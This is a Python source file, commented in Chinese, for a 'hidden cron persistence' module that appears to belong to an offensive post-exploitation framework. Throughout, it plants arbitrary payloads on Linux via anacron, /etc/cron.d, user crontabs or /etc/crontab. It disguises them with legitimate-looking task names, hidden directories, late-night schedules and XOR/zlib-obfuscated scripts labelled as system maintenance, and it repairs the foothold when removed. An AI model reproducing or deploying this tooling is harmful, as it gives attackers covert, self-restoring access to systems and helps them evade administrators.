#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
隐蔽定时任务权限维持模块
实现基于隐蔽定时任务的权限维持技术
"""

import os
import sys
import json
import shutil
import subprocess
import tempfile
import random
import time
from typing import Dict, List, Optional, Tuple
from pathlib import Path
import hashlib
import pwd
import grp

# 添加项目根目录到Python路径
project_root = Path(__file__).parent.parent.parent.parent
sys.path.insert(0, str(project_root))

from modules.persistence.base import (
    BasePersistenceModule, PersistenceConfig, PersistenceResult, 
    PersistenceStatus, PersistenceLevel
)


class CronHidePersistenceModule(BasePersistenceModule):
    """隐蔽定时任务权限维持模块"""
    
    def __init__(self):
        super().__init__()
        self.module_name = "cron_hide"
        self.module_version = "1.0.0"
        self.supported_platforms = ["linux"]
        
        # 定时任务相关路径
        self.cron_paths = {
            'user_crontabs': '/var/spool/cron/crontabs/',
            'user_cron': '/var/spool/cron/',
            'system_crontab': '/etc/crontab',
            'cron_d': '/etc/cron.d/',
            'cron_hourly': '/etc/cron.hourly/',
            'cron_daily': '/etc/cron.daily/',
            'cron_weekly': '/etc/cron.weekly/',
            'cron_monthly': '/etc/cron.monthly/',
            'anacron': '/etc/anacrontab'
        }
        
        # 隐蔽位置
        self.stealth_locations = {
            'temp_dirs': ['/tmp/', '/var/tmp/', '/dev/shm/'],
            'log_dirs': ['/var/log/', '/var/cache/', '/var/lib/'],
            'hidden_dirs': ['/usr/share/.hidden/', '/opt/.cache/', '/var/.tmp/']
        }
        
        # 伪装任务名称
        self.disguise_names = {
            'system': [
                'system-update', 'log-rotate', 'cache-clean', 'tmp-cleanup',
                'security-check', 'backup-verify', 'disk-check', 'network-test'
            ],
            'maintenance': [
                'maintenance-task', 'health-check', 'monitor-service',
                'cleanup-old-files', 'update-database', 'sync-time'
            ],
            'legitimate': [
                'logrotate', 'updatedb', 'man-db', 'apt-daily',
                'dpkg-db-backup', 'fstrim', 'e2scrub_all'
            ]
        }
        
    def deploy(self, config: PersistenceConfig) -> PersistenceResult:
        """部署隐蔽定时任务权限维持"""
        try:
            # 平台检查
            if not self.is_platform_supported():
                return PersistenceResult(
                    success=False,
                    message="不支持的平台，需要Linux系统",
                    instance_id=None
                )
            
            # 验证配置
            validation_result = self.validate_config(config)
            if not validation_result.success:
                return validation_result
            
            # 检查权限
            if not self._check_sufficient_privileges():
                return PersistenceResult(
                    success=False,
                    message="需要足够的权限来创建定时任务",
                    instance_id=None
                )
            
            # 生成实例ID
            instance_id = self.generate_instance_id()
            
            # 选择部署策略
            deployment_strategy = self._select_deployment_strategy(config.stealth_level)
            
            # 创建隐蔽定时任务
            deployment_result = self._deploy_cron_task(config, deployment_strategy)
            if not deployment_result['success']:
                return PersistenceResult(
                    success=False,
                    message=deployment_result['message'],
                    instance_id=None
                )
            
            # 保存实例配置
            instance_config = {
                'deployment_strategy': deployment_strategy,
                'cron_file': deployment_result['cron_file'],
                'script_file': deployment_result.get('script_file'),
                'task_name': deployment_result['task_name'],
                'schedule': deployment_result['schedule'],
                'payload': config.payload,
                'stealth_level': config.stealth_level,
                'created_time': self.get_current_time(),
                'backup_files': deployment_result.get('backup_files', [])
            }
            self.save_instance_config(instance_id, instance_config)
            
            self.logger.info(f"隐蔽定时任务权限维持部署成功: {deployment_result['task_name']}")
            
            return PersistenceResult(
                success=True,
                message=f"隐蔽定时任务权限维持部署成功: {deployment_result['task_name']}",
                instance_id=instance_id,
                details={
                    'task_name': deployment_result['task_name'],
                    'strategy': deployment_strategy,
                    'cron_file': deployment_result['cron_file'],
                    'schedule': deployment_result['schedule']
                }
            )
            
        except Exception as e:
            error_msg = f"部署隐蔽定时任务权限维持失败: {str(e)}"
            self.logger.error(error_msg)
            return PersistenceResult(
                success=False,
                message=error_msg,
                instance_id=None
            )
    
    def check_alive(self, instance_id: str) -> PersistenceResult:
        """检查隐蔽定时任务状态"""
        try:
            instance_config = self.load_instance_config(instance_id)
            if not instance_config:
                return PersistenceResult(
                    success=False,
                    message="实例配置不存在",
                    instance_id=instance_id
                )
            
            cron_file = instance_config['cron_file']
            script_file = instance_config.get('script_file')
            task_name = instance_config['task_name']
            
            # 检查定时任务文件是否存在
            cron_file_exists = os.path.exists(cron_file)
            
            # 检查脚本文件是否存在（如果有）
            script_file_exists = True
            if script_file:
                script_file_exists = os.path.exists(script_file)
            
            # 检查定时任务是否在运行
            cron_active = self._check_cron_service_active()
            
            # 检查任务是否在cron配置中
            task_in_config = self._check_task_in_cron_config(cron_file, task_name)
            
            status = PersistenceStatus.ACTIVE if (
                cron_file_exists and script_file_exists and 
                cron_active and task_in_config
            ) else PersistenceStatus.INACTIVE
            
            return PersistenceResult(
                success=True,
                message="隐蔽定时任务状态检查完成",
                instance_id=instance_id,
                details={
                    'cron_file_exists': cron_file_exists,
                    'script_file_exists': script_file_exists,
                    'cron_active': cron_active,
                    'task_in_config': task_in_config,
                    'status': status.value,
                    'task_name': task_name,
                    'cron_file': cron_file
                }
            )
            
        except Exception as e:
            error_msg = f"检查隐蔽定时任务状态失败: {str(e)}"
            self.logger.error(error_msg)
            return PersistenceResult(
                success=False,
                message=error_msg,
                instance_id=instance_id
            )
    
    def repair(self, instance_id: str) -> PersistenceResult:
        """修复隐蔽定时任务"""
        try:
            instance_config = self.load_instance_config(instance_id)
            if not instance_config:
                return PersistenceResult(
                    success=False,
                    message="实例配置不存在",
                    instance_id=instance_id
                )
            
            cron_file = instance_config['cron_file']
            script_file = instance_config.get('script_file')
            task_name = instance_config['task_name']
            
            repair_actions = []
            
            # 重新创建配置
            config = PersistenceConfig(
                payload=instance_config['payload'],
                stealth_level=instance_config['stealth_level']
            )
            
            deployment_strategy = instance_config['deployment_strategy']
            
            # 检查并修复定时任务文件
            if not os.path.exists(cron_file) or not self._check_task_in_cron_config(cron_file, task_name):
                deployment_result = self._deploy_cron_task(config, deployment_strategy)
                if deployment_result['success']:
                    repair_actions.append("重新创建定时任务配置")
                else:
                    return PersistenceResult(
                        success=False,
                        message="重新创建定时任务配置失败",
                        instance_id=instance_id
                    )
            
            # 检查并修复脚本文件
            if script_file and not os.path.exists(script_file):
                script_creation_result = self._create_script_file(
                    script_file, config.payload, config.stealth_level
                )
                if script_creation_result:
                    repair_actions.append("重新创建脚本文件")
                else:
                    return PersistenceResult(
                        success=False,
                        message="重新创建脚本文件失败",
                        instance_id=instance_id
                    )
            
            # 确保cron服务运行
            if not self._check_cron_service_active():
                if self._start_cron_service():
                    repair_actions.append("启动cron服务")
                else:
                    repair_actions.append("尝试启动cron服务（可能失败）")
            
            self.logger.info(f"隐蔽定时任务修复完成: {task_name}")
            
            return PersistenceResult(
                success=True,
                message=f"隐蔽定时任务修复完成: {task_name}",
                instance_id=instance_id,
                details={
                    'repair_actions': repair_actions,
                    'task_name': task_name
                }
            )
            
        except Exception as e:
            error_msg = f"修复隐蔽定时任务失败: {str(e)}"
            self.logger.error(error_msg)
            return PersistenceResult(
                success=False,
                message=error_msg,
                instance_id=instance_id
            )
    
    def clean(self, instance_id: str) -> PersistenceResult:
        """清理隐蔽定时任务"""
        try:
            instance_config = self.load_instance_config(instance_id)
            if not instance_config:
                return PersistenceResult(
                    success=False,
                    message="实例配置不存在",
                    instance_id=instance_id
                )
            
            cron_file = instance_config['cron_file']
            script_file = instance_config.get('script_file')
            task_name = instance_config['task_name']
            backup_files = instance_config.get('backup_files', [])
            
            cleanup_actions = []
            
            # 恢复备份文件
            for backup_file in backup_files:
                original_file = backup_file.replace('.backup', '')
                if os.path.exists(backup_file):
                    shutil.move(backup_file, original_file)
                    cleanup_actions.append(f"恢复备份文件: {original_file}")
            
            # 删除定时任务配置
            if os.path.exists(cron_file):
                # 如果是用户crontab，需要特殊处理
                if '/var/spool/cron' in cron_file:
                    self._remove_user_cron_task(cron_file, task_name)
                else:
                    os.remove(cron_file)
                cleanup_actions.append("删除定时任务配置")
            
            # 删除脚本文件
            if script_file and os.path.exists(script_file):
                os.remove(script_file)
                cleanup_actions.append("删除脚本文件")
            
            # 删除实例配置
            self.delete_instance_config(instance_id)
            cleanup_actions.append("删除实例配置")
            
            self.logger.info(f"隐蔽定时任务清理完成: {task_name}")
            
            return PersistenceResult(
                success=True,
                message=f"隐蔽定时任务清理完成: {task_name}",
                instance_id=instance_id,
                details={
                    'cleanup_actions': cleanup_actions,
                    'task_name': task_name
                }
            )
            
        except Exception as e:
            error_msg = f"清理隐蔽定时任务失败: {str(e)}"
            self.logger.error(error_msg)
            return PersistenceResult(
                success=False,
                message=error_msg,
                instance_id=instance_id
            )
    
    def list_instances(self) -> List[Dict]:
        """列出所有隐蔽定时任务实例"""
        instances = []
        
        for instance_id in self.get_all_instance_ids():
            instance_config = self.load_instance_config(instance_id)
            if instance_config:
                # 检查当前状态
                check_result = self.check_alive(instance_id)
                
                instances.append({
                    'instance_id': instance_id,
                    'task_name': instance_config.get('task_name'),
                    'strategy': instance_config.get('deployment_strategy'),
                    'cron_file': instance_config.get('cron_file'),
                    'schedule': instance_config.get('schedule'),
                    'stealth_level': instance_config.get('stealth_level'),
                    'created_time': instance_config.get('created_time'),
                    'status': check_result.details.get('status') if check_result.success else 'unknown',
                    'cron_file_exists': check_result.details.get('cron_file_exists') if check_result.success else False
                })
        
        return instances
    
    def _check_sufficient_privileges(self) -> bool:
        """检查是否有足够的权限"""
        # 检查是否可以写入cron目录
        cron_dirs = [
            '/etc/cron.d/',
            '/var/spool/cron/',
            '/var/spool/cron/crontabs/'
        ]
        
        for cron_dir in cron_dirs:
            if os.path.exists(cron_dir) and os.access(cron_dir, os.W_OK):
                return True
        
        # 检查是否可以使用crontab命令
        try:
            result = subprocess.run(['crontab', '-l'], 
                                  capture_output=True, text=True)
            return True  # 即使没有现有crontab，命令也应该可用
        except FileNotFoundError:
            return False
    
    def _select_deployment_strategy(self, stealth_level: int) -> str:
        """选择部署策略"""
        if stealth_level >= 9:
            return "anacron_delayed"  # 最高隐蔽性：使用anacron延迟执行
        elif stealth_level >= 7:
            return "system_cron_d"   # 高隐蔽性：系统级cron.d
        elif stealth_level >= 5:
            return "user_crontab"    # 中等隐蔽性：用户crontab
        else:
            return "direct_cron"     # 低隐蔽性：直接cron
    
    def _deploy_cron_task(self, config: PersistenceConfig, strategy: str) -> Dict:
        """部署定时任务"""
        try:
            if strategy == "anacron_delayed":
                return self._deploy_anacron_task(config)
            elif strategy == "system_cron_d":
                return self._deploy_system_cron_d_task(config)
            elif strategy == "user_crontab":
                return self._deploy_user_crontab_task(config)
            else:  # direct_cron
                return self._deploy_direct_cron_task(config)
                
        except Exception as e:
            return {
                'success': False,
                'message': f"部署定时任务失败: {str(e)}"
            }
    
    def _deploy_anacron_task(self, config: PersistenceConfig) -> Dict:
        """部署anacron延迟任务"""
        try:
            # 生成任务名称
            task_name = self._generate_task_name(config.stealth_level, 'maintenance')
            
            # 创建脚本文件
            script_dir = self._select_stealth_location(config.stealth_level)
            script_file = os.path.join(script_dir, f".{task_name}")
            
            if not self._create_script_file(script_file, config.payload, config.stealth_level):
                return {'success': False, 'message': '创建脚本文件失败'}
            
            # 修改anacrontab
            anacron_file = '/etc/anacrontab'
            if not os.path.exists(anacron_file):
                return {'success': False, 'message': 'anacrontab不存在'}
            
            # 备份原文件
            backup_file = f"{anacron_file}.backup"
            shutil.copy2(anacron_file, backup_file)
            
            # 生成anacron配置行
            delay_days = random.randint(1, 7)  # 随机延迟天数
            delay_minutes = random.randint(5, 60)  # 随机延迟分钟
            anacron_line = f"{delay_days}\t{delay_minutes}\t{task_name}\t{script_file}"
            
            # 添加到anacrontab
            with open(anacron_file, 'a') as f:
                f.write(f"\n{anacron_line}\n")
            
            return {
                'success': True,
                'cron_file': anacron_file,
                'script_file': script_file,
                'task_name': task_name,
                'schedule': f"每{delay_days}天延迟{delay_minutes}分钟",
                'backup_files': [backup_file]
            }
            
        except Exception as e:
            return {'success': False, 'message': f'部署anacron任务失败: {str(e)}'}
    
    def _deploy_system_cron_d_task(self, config: PersistenceConfig) -> Dict:
        """部署系统级cron.d任务"""
        try:
            # 生成任务名称
            task_name = self._generate_task_name(config.stealth_level, 'system')
            
            # 创建脚本文件
            script_dir = self._select_stealth_location(config.stealth_level)
            script_file = os.path.join(script_dir, f".{task_name}")
            
            if not self._create_script_file(script_file, config.payload, config.stealth_level):
                return {'success': False, 'message': '创建脚本文件失败'}
            
            # 创建cron.d文件
            cron_d_file = f"/etc/cron.d/{task_name}"
            
            # 生成随机调度
            schedule = self._generate_random_schedule(config.stealth_level)
            
            # 创建cron.d配置
            cron_content = f"""# {task_name} - System maintenance task
{schedule} root {script_file} >/dev/null 2>&1
"""
            
            with open(cron_d_file, 'w') as f:
                f.write(cron_content)
            
            # 设置权限
            os.chmod(cron_d_file, 0o644)
            
            return {
                'success': True,
                'cron_file': cron_d_file,
                'script_file': script_file,
                'task_name': task_name,
                'schedule': schedule,
                'backup_files': []
            }
            
        except Exception as e:
            return {'success': False, 'message': f'部署系统cron.d任务失败: {str(e)}'}
    
    def _deploy_user_crontab_task(self, config: PersistenceConfig) -> Dict:
        """部署用户crontab任务"""
        try:
            # 获取当前用户
            current_user = os.getenv('USER', 'root')
            
            # 生成任务名称
            task_name = self._generate_task_name(config.stealth_level, 'maintenance')
            
            # 创建脚本文件
            script_dir = self._select_stealth_location(config.stealth_level)
            script_file = os.path.join(script_dir, f".{task_name}")
            
            if not self._create_script_file(script_file, config.payload, config.stealth_level):
                return {'success': False, 'message': '创建脚本文件失败'}
            
            # 获取现有crontab
            try:
                result = subprocess.run(['crontab', '-l'], 
                                      capture_output=True, text=True)
                existing_crontab = result.stdout if result.returncode == 0 else ""
            except:
                existing_crontab = ""
            
            # 生成随机调度
            schedule = self._generate_random_schedule(config.stealth_level)
            
            # 添加新任务
            new_crontab = existing_crontab
            if not new_crontab.endswith('\n') and new_crontab:
                new_crontab += '\n'
            
            new_crontab += f"# {task_name}\n"
            new_crontab += f"{schedule} {script_file} >/dev/null 2>&1\n"
            
            # 应用新crontab
            with tempfile.NamedTemporaryFile(mode='w', delete=False) as f:
                f.write(new_crontab)
                temp_crontab = f.name
            
            try:
                subprocess.run(['crontab', temp_crontab], check=True)
                
                # 确定crontab文件位置
                cron_file = f"/var/spool/cron/crontabs/{current_user}"
                if not os.path.exists(cron_file):
                    cron_file = f"/var/spool/cron/{current_user}"
                
                return {
                    'success': True,
                    'cron_file': cron_file,
                    'script_file': script_file,
                    'task_name': task_name,
                    'schedule': schedule,
                    'backup_files': []
                }
                
            finally:
                os.unlink(temp_crontab)
                
        except Exception as e:
            return {'success': False, 'message': f'部署用户crontab任务失败: {str(e)}'}
    
    def _deploy_direct_cron_task(self, config: PersistenceConfig) -> Dict:
        """部署直接cron任务"""
        try:
            # 生成任务名称
            task_name = self._generate_task_name(config.stealth_level, 'system')
            
            # 直接在系统crontab中添加
            system_crontab = '/etc/crontab'
            
            # 备份原文件
            backup_file = f"{system_crontab}.backup"
            shutil.copy2(system_crontab, backup_file)
            
            # 生成随机调度
            schedule = self._generate_random_schedule(config.stealth_level)
            
            # 使用高级加密技术替换Base64编码
            try:
                import sys
                sys.path.append('/tmp')
                from modules.security.advanced_encryption import AdvancedEncryption
                
                # 创建加密实例
                enc = AdvancedEncryption()
                cron_data = enc.create_stealth_cron_entry(schedule, config.payload)
                
                # 创建解密脚本
                script_path = cron_data['script_path']
                os.makedirs(os.path.dirname(script_path), exist_ok=True)
                
                with open(script_path, 'w') as f:
                    f.write(cron_data['script_content'])
                os.chmod(script_path, 0o755)
                
                # 添加到系统crontab
                cron_line = cron_data['cron_line']
                
            except ImportError:
                # 降级到原有方案（但使用更隐蔽的方式）
                import hashlib
                import zlib
                
                # 压缩和简单加密
                compressed = zlib.compress(config.payload.encode())
                key = hashlib.sha256(task_name.encode()).digest()
                encrypted = bytes(a ^ b for a, b in zip(compressed, key * (len(compressed) // len(key) + 1)))
                
                # 使用十六进制编码替代Base64
                hex_payload = encrypted.hex()
                
                # 创建更隐蔽的执行脚本
                script_path = f"/usr/local/bin/{task_name.replace(' ', '_').lower()}.sh"
                script_content = f'''#!/bin/bash
# System maintenance script
python3 -c "
import hashlib, zlib
hex_data = '{hex_payload}'
key = hashlib.sha256('{task_name}'.encode()).digest()
encrypted = bytes.fromhex(hex_data)
decrypted = bytes(a ^ b for a, b in zip(encrypted, key * (len(encrypted) // len(key) + 1)))
payload = zlib.decompress(decrypted).decode()
import os; os.system(payload)
" 2>/dev/null
'''
                
                os.makedirs(os.path.dirname(script_path), exist_ok=True)
                with open(script_path, 'w') as f:
                    f.write(script_content)
                os.chmod(script_path, 0o755)
                
                cron_line = f"{schedule} root {script_path} >/dev/null 2>&1"
            
            with open(system_crontab, 'a') as f:
                f.write(f"\n# {task_name}\n")
                f.write(f"{cron_line}\n")
            
            return {
                'success': True,
                'cron_file': system_crontab,
                'script_file': None,
                'task_name': task_name,
                'schedule': schedule,
                'backup_files': [backup_file]
            }
            
        except Exception as e:
            return {'success': False, 'message': f'部署直接cron任务失败: {str(e)}'}
    
    def _generate_task_name(self, stealth_level: int, category: str) -> str:
        """生成任务名称"""
        if stealth_level >= 8:
            # 高隐蔽性：使用合法任务名称
            names = self.disguise_names.get('legitimate', [])
            if names:
                return random.choice(names) + f"-{random.randint(1, 99)}"
        elif stealth_level >= 5:
            # 中等隐蔽性：使用系统维护名称
            names = self.disguise_names.get(category, [])
            if names:
                return random.choice(names)
        
        # 低隐蔽性：简单随机名称
        return f"task-{random.randint(1000, 9999)}"
    
    def _select_stealth_location(self, stealth_level: int) -> str:
        """选择隐蔽位置"""
        if stealth_level >= 8:
            # 高隐蔽性：隐藏目录
            for hidden_dir in self.stealth_locations['hidden_dirs']:
                if self._ensure_directory_exists(hidden_dir):
                    return hidden_dir
        elif stealth_level >= 5:
            # 中等隐蔽性：日志目录
            for log_dir in self.stealth_locations['log_dirs']:
                if os.path.exists(log_dir) and os.access(log_dir, os.W_OK):
                    return log_dir
        
        # 低隐蔽性：临时目录
        for temp_dir in self.stealth_locations['temp_dirs']:
            if os.path.exists(temp_dir) and os.access(temp_dir, os.W_OK):
                return temp_dir
        
        return '/tmp/'  # 默认
    
    def _ensure_directory_exists(self, directory: str) -> bool:
        """确保目录存在"""
        try:
            os.makedirs(directory, exist_ok=True)
            return os.access(directory, os.W_OK)
        except:
            return False
    
    def _create_script_file(self, script_path: str, payload: str, stealth_level: int) -> bool:
        """创建脚本文件"""
        try:
            # 确保目录存在
            os.makedirs(os.path.dirname(script_path), exist_ok=True)
            
            # 生成脚本内容
            script_content = self._generate_script_content(payload, stealth_level)
            
            # 写入脚本文件
            with open(script_path, 'w') as f:
                f.write(script_content)
            
            # 设置执行权限
            os.chmod(script_path, 0o755)
            
            return True
            
        except Exception as e:
            self.logger.error(f"创建脚本文件失败: {e}")
            return False
    
    def _generate_script_content(self, payload: str, stealth_level: int) -> str:
        """生成脚本内容"""
        if stealth_level >= 8:
            # 高隐蔽性：伪装成合法脚本
            script_content = f"""#!/bin/bash
# System maintenance script
# Auto-generated maintenance task

# Check system status
if [ -f /proc/version ]; then
    # Execute maintenance payload
    {payload}
fi

# Cleanup temporary files
find /tmp -name "*.tmp" -mtime +1 -delete 2>/dev/null || true

exit 0
"""
        elif stealth_level >= 5:
            # 中等隐蔽性：简单伪装
            script_content = f"""#!/bin/bash
# Maintenance task

# Execute task
{payload}

exit 0
"""
        else:
            # 低隐蔽性：直接执行
            script_content = f"""#!/bin/bash
{payload}
"""
        
        return script_content
    
    def _generate_random_schedule(self, stealth_level: int) -> str:
        """生成随机调度"""
        if stealth_level >= 8:
            # 高隐蔽性：不规律时间
            minute = random.randint(0, 59)
            hour = random.choice([2, 3, 4, 5, 22, 23])  # 深夜时间
            day = random.randint(1, 28)
            month = "*"
            weekday = "*"
            return f"{minute} {hour} {day} {month} {weekday}"
        elif stealth_level >= 5:
            # 中等隐蔽性：每日随机时间
            minute = random.randint(0, 59)
            hour = random.randint(1, 6)  # 凌晨时间
            return f"{minute} {hour} * * *"
        else:
            # 低隐蔽性：每小时
            minute = random.randint(0, 59)
            return f"{minute} * * * *"
    
    def _check_cron_service_active(self) -> bool:
        """检查cron服务是否活跃"""
        try:
            # 检查systemd服务
            result = subprocess.run(['systemctl', 'is-active', 'cron'], 
                                  capture_output=True, text=True)
            if result.returncode == 0 and 'active' in result.stdout:
                return True
            
            # 检查传统服务
            result = subprocess.run(['service', 'cron', 'status'], 
                                  capture_output=True, text=True)
            return result.returncode == 0
            
        except:
            return False
    
    def _start_cron_service(self) -> bool:
        """启动cron服务"""
        try:
            # 尝试systemd
            result = subprocess.run(['systemctl', 'start', 'cron'], 
                                  capture_output=True, text=True)
            if result.returncode == 0:
                return True
            
            # 尝试传统服务
            result = subprocess.run(['service', 'cron', 'start'], 
                                  capture_output=True, text=True)
            return result.returncode == 0
            
        except:
            return False
    
    def _check_task_in_cron_config(self, cron_file: str, task_name: str) -> bool:
        """检查任务是否在cron配置中"""
        try:
            if not os.path.exists(cron_file):
                return False
            
            with open(cron_file, 'r') as f:
                content = f.read()
            
            return task_name in content
            
        except:
            return False
    
    def _remove_user_cron_task(self, cron_file: str, task_name: str):
        """从用户crontab中移除任务"""
        try:
            # 获取当前crontab
            result = subprocess.run(['crontab', '-l'], 
                                  capture_output=True, text=True)
            if result.returncode != 0:
                return
            
            lines = result.stdout.split('\n')
            new_lines = []
            skip_next = False
            
            for line in lines:
                if skip_next:
                    skip_next = False
                    continue
                
                if f"# {task_name}" in line:
                    skip_next = True  # 跳过下一行（实际的cron任务）
                    continue
                
                if task_name not in line:
                    new_lines.append(line)
            
            # 应用新的crontab
            new_crontab = '\n'.join(new_lines)
            
            with tempfile.NamedTemporaryFile(mode='w', delete=False) as f:
                f.write(new_crontab)
                temp_crontab = f.name
            
            try:
                subprocess.run(['crontab', temp_crontab], check=True)
            finally:
                os.unlink(temp_crontab)
                
        except Exception as e:
            self.logger.error(f"移除用户cron任务失败: {e}")
    
    def validate_config(self, config: PersistenceConfig) -> PersistenceResult:
        """验证配置"""
        if not config.payload:
            return PersistenceResult(
                success=False,
                message="payload不能为空",
                instance_id=None
            )
        
        if config.stealth_level < 1 or config.stealth_level > 10:
            return PersistenceResult(
                success=False,
                message="stealth_level必须在1-10之间",
                instance_id=None
            )
        
        # 检查cron可用性
        try:
            subprocess.run(['crontab', '-l'], capture_output=True)
        except FileNotFoundError:
            return PersistenceResult(
                success=False,
                message="crontab命令不可用",
                instance_id=None
            )
        
        return PersistenceResult(
            success=True,
            message="配置验证通过",
            instance_id=None
        )


# 模块注册
def get_module():
    """获取模块实例"""
    return CronHidePersistenceModule()


if __name__ == "__main__":
    # 测试代码
    module = CronHidePersistenceModule()
    
    # 测试配置
    config = PersistenceConfig(
        payload="echo 'Cron test' >> /tmp/cron_test.log",
        stealth_level=7
    )
    
    print("=== 隐蔽定时任务权限维持模块测试 ===")
    print(f"模块信息: {module.get_module_info()}")
    print(f"平台支持: {module.is_platform_supported()}")
    print(f"权限检查: {module._check_sufficient_privileges()}")
    
    # 配置验证测试
    validation_result = module.validate_config(config)
    print(f"配置验证: {validation_result}")
    
    if validation_result.success and module._check_sufficient_privileges():
        # 部署测试
        result = module.deploy(config)
        print(f"部署结果: {result}")
        
        if result.success:
            instance_id = result.instance_id
            
            # 检查状态
            check_result = module.check_alive(instance_id)
            print(f"状态检查: {check_result}")
            
            # 列出实例
            instances = module.list_instances()
            print(f"实例列表: {instances}")
            
            # 清理测试
            clean_result = module.clean(instance_id)
            print(f"清理结果: {clean_result}")
    else:
        print("跳过部署测试（需要足够权限）")